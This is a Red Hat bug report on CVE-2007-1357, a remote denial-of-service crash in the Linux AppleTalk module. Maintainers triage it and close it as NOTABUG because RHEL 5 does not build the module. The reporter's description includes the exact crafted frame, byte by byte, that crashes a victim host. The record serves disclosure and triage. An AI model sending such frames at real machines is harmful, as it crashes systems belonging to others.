Bug 235857

Summary: CVE-2007-1357 Remotely triggerable crash in AppleTalk
Product: Red Hat Enterprise Linux 5 Reporter: Marcel Holtmann <holtmann>
Component: kernelAssignee: Don Zickus <dzickus>
Status: CLOSED NOTABUG QA Contact: Martin Jenner <mjenner>
Severity: high Docs Contact:
Priority: medium    
Version: 5.0CC: security-response-team
Target Milestone: ---Keywords: Security
Target Release: ---   
Hardware: All   
OS: Linux   
Whiteboard: impact=important,source=vendorsec,reported=20070406,public=20070405
Fixed In Version: Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of: Environment:
Last Closed: 2007-06-06 12:34:13 UTC Type: ---
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Embargoed:

Description Marcel Holtmann 2007-04-10 15:17:53 UTC
When we receive an AppleTalk frame shorter than what its header says, we still
attempt to verify its checksum, and trip on the BUG_ON() at the end of function
atalk_sum_skb() because of the length mismatch.

This has security implications because this can be triggered by simply sending a
specially crafted ethernet frame to a target victim, effectively crashing that
host. Thus this qualifies, I think, as a remote DoS. Here is the frame I used to
trigger the crash, in npg format:

   <Appletalk Killer>
    {
    # Ethernet header -----
    
      XX XX XX XX XX XX  # Destination MAC
      00 00 00 00 00 00  # Source MAC
      00 1D              # Length
    
    # LLC header -----
    
      AA AA 03
      08 00 07 80 9B  # Appletalk
    
    # Appletalk header -----
    
      00 1B        # Packet length (invalid)
      00 01        # Fake checksum
      00 00 00 00  # Destination and source networks
      00 00 00 00  # Destination and source nodes and ports
    
    # Payload -----
    
      0C 0D 0E 0F 10 11 12 13
      14
    }

The destination MAC address must be set to those of the victim.
    
The severity is mitigated by two requirements:
* The target host must have the appletalk kernel module loaded. I suspect this
isn't so frequent.
* AppleTalk frames are non-IP, thus I guess they can only travel on local
networks. I am no network expert though, maybe it is possible to somehow
encapsulate AppleTalk packets over IP.

Comment 2 Marcel Holtmann 2007-04-10 22:06:41 UTC
The appletalk.ko kernel module is not build. So the kernel is _NOT_ vulnerable,
but our source RPM contains some weird config files:

# grep ATALK *config*
config-olpc-generic:# CONFIG_ATALK is not set
config-rhel-generic:# CONFIG_ATALK is not set
kernel-2.6.18-i586.config:CONFIG_ATALK=m
kernel-2.6.18-i686.config:CONFIG_ATALK=m
kernel-2.6.18-i686-kdump.config:CONFIG_ATALK=m
kernel-2.6.18-i686-PAE.config:CONFIG_ATALK=m
kernel-2.6.18-i686-xen.config:CONFIG_ATALK=m
kernel-2.6.18-ia64.config:CONFIG_ATALK=m
kernel-2.6.18-ia64-xen.config:CONFIG_ATALK=m
kernel-2.6.18-ppc64.config:CONFIG_ATALK=m
kernel-2.6.18-ppc64-kdump.config:CONFIG_ATALK=m
kernel-2.6.18-ppc.config:CONFIG_ATALK=m
kernel-2.6.18-ppc-smp.config:CONFIG_ATALK=m
kernel-2.6.18-s390.config:CONFIG_ATALK=m
kernel-2.6.18-s390x.config:CONFIG_ATALK=m
kernel-2.6.18-x86_64.config:CONFIG_ATALK=m
kernel-2.6.18-x86_64-kdump.config:CONFIG_ATALK=m
kernel-2.6.18-x86_64-xen.config:CONFIG_ATALK=m

Can someone explain what happened here?


Comment 3 Don Zickus 2007-04-30 22:04:49 UTC
We treat fedora as the superset for our src.rpms.  This is why ATALK is enabled
in kernel-*.config (because fedora enables it).  For subset kernels, ie rhel or
olpc, we throw down a final set of config options to disable what we don't want
to support.  In the rhel-5 case this would be, config-rhel-generic.  

As you can see above, config-rhel-generic has CONFIG_ATALK disabled.  When we
build the rhel kernel, the final kernel-*.config output has CONFIG_ATALK disabled.

I presume we can close this as NOTABUG because we don't support AppleTalk.